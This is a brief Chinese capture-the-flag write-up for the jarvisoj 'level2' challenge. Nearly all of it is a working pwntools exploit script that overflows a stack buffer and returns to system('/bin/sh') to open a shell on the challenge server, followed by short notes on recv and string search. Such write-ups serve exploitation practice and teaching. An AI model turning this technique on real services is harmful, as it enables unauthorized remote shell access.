拖进ida,直接就看到了system函数,同时搜索一下,发现了“bin/sh”,没什么好说的,上脚本
from pwn import *
conn=remote("pwn2.jarvisoj.com","9878")
conn.recvline()
e=ELF("./level2")
sys_addr=e.symbols['system']
pad=0x88
sh_addr=e.search("/bin/sh").next()
payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr)
conn.sendline(payload)
conn.interactive()
收获:
recv是不显示返回的字串,保存到缓冲区。注意查找字符串的格式,后面有next()。